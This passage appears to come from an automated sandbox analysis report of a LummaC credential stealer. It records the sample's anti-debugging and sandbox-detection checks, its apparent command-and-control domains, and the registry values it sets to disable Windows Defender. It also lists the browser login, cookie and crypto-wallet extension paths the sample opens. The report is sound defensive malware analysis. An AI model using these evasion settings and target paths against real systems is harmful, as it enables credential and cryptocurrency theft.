Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2370068336.0000000000771000.00000040.00000001.01000000.00000003.sdmp, 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Code function: 5_2_00AE7E90 rdtsc

5_2_00AE7E90

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Code function: 5_2_0096B7C6 LdrInitializeThunk,

5_2_0096B7C6

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2133881101.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2371724478.00000000007BB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: mProgram Manager
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: AProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2240410967.00000000014B9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2348788505.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe, 00000000.00000003.2348788505.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000002.2375214282.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000002.2375214282.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
